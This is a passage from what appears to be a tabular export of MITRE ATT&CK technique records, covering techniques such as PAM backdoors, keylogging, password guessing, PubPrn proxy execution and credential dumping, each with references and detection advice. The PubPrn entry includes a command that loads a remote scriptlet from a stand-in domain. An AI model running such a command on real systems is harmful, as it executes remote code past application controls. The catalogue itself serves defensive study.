"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
},
{
"description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "PAM Backdoor",
"url": "https://github.com/zephrax/linux-pam-backdoor"
},
{
"description": "Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.",
"external_id": null,
"source_name": "PAM Creds",
"url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 2.0 |
attack-pattern | attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-16T18:42:20.734000Z" | "2021-03-08T10:33:02.128000Z" | Revert Cloud Instance | An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1578.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/004"
},
{
"description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Tech Republic - Restore AWS Snapshots",
"url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
},
{
"description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Google - Restore Cloud Snapshot",
"url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.1 |
attack-pattern | attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:39:33.966000Z" | "2021-10-17T16:35:09.878000Z" | Gather Victim Host Information | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1592",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592"
},
{
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ATT ScanBox",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:58:58.738000Z" | "2021-04-15T03:48:37.628000Z" | Digital Certificates | Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.
Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/003"
},
{
"description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "SSLShopper Lookup",
"url": "https://www.sslshopper.com/ssl-checker.html"
},
{
"description": "Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Medium SSL Cert",
"url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:58:11.791000Z" | "2023-10-01T14:01:12.167000Z" | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
* Reading raw keystroke data from the hardware buffer.
* Windows Registry modifications.
* Custom drivers.
* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1056.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/001"
},
{
"description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
"external_id": null,
"source_name": "Talos Kimsuky Nov 2021",
"url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
"external_id": null,
"source_name": "Adventures of a Keystroke",
"url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-29T16:59:10.374000Z" | "2024-04-15T23:42:39.831000Z" | File/Path Exclusions | Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)
Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.012",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/012"
},
{
"description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "Microsoft File Folder Exclusions",
"url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-04T19:24:27.774000Z" | "2023-08-14T17:54:22.970000Z" | Linux and Mac File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1222.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1222/002"
},
{
"description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
"external_id": null,
"source_name": "Hybrid Analysis Icacls1 June 2018",
"url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
},
{
"description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
"external_id": null,
"source_name": "Hybrid Analysis Icacls2 May 2018",
"url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
},
{
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "20 macOS Common Tools and Techniques",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques)
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:38:22.617000Z" | "2023-10-16T16:57:41.743000Z" | Password Guessing | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)
* SNMP (161/UDP and 162/TCP/UDP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1110.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/001"
},
{
"description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
"external_id": null,
"source_name": "Trend Micro Emotet 2020",
"url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
},
{
"description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
"external_id": null,
"source_name": "Cylance Cleaver",
"url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
},
{
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"external_id": null,
"source_name": "US-CERT TA18-068A 2018",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers",
"Network"
] | 1.5 |
attack-pattern | attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-03T16:49:57.788000Z" | "2022-04-18T14:55:35.817000Z" | PubPrn | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1216.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1216/001"
},
{
"description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
"external_id": null,
"source_name": "pubprn",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
},
{
"description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
"external_id": null,
"source_name": "Enigma0x3 PubPrn Bypass",
"url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T17:05:43.562000Z" | "2021-04-15T03:44:43.900000Z" | Purchase Technical Data | Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1597.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1597/002"
},
{
"description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ZDNET Selling Data",
"url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:19.735000Z" | "2024-04-18T23:47:41.667000Z" | OS Credential Dumping | Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.
Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003"
},
{
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"external_id": null,
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
},
{
"description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "AdSecurity DCSync Sept 2015",
"url": "https://adsecurity.org/?p=1729"
},
{
"description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft DRSR Dec 2017",
"url": "https://msdn.microsoft.com/library/cc228086.aspx"
},
{
"description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
"external_id": null,
"source_name": "Microsoft NRPC Dec 2017",
"url": "https://msdn.microsoft.com/library/cc237008.aspx"
},
{
"description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft GetNCCChanges",
"url": "https://msdn.microsoft.com/library/dd207691.aspx"
},
{
"description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft SAMR",
"url": "https://msdn.microsoft.com/library/cc245496.aspx"
},
{
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"external_id": null,
"source_name": "Powersploit",
"url": "https://github.com/mattifestation/PowerSploit"
},
{
"description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Samba DRSUAPI",
"url": "https://wiki.samba.org/index.php/DRSUAPI"
},
{
"description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Harmj0y DCSync Sept 2015",
"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
},
{
"description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
"external_id": null,
"source_name": "Brining MimiKatz to Unix",
"url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/<pid>/maps`, where the `<pid>` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 2.2 |
attack-pattern | attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:40.542000Z" | "2023-10-12T21:17:14.868000Z" | Shared Modules | Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).
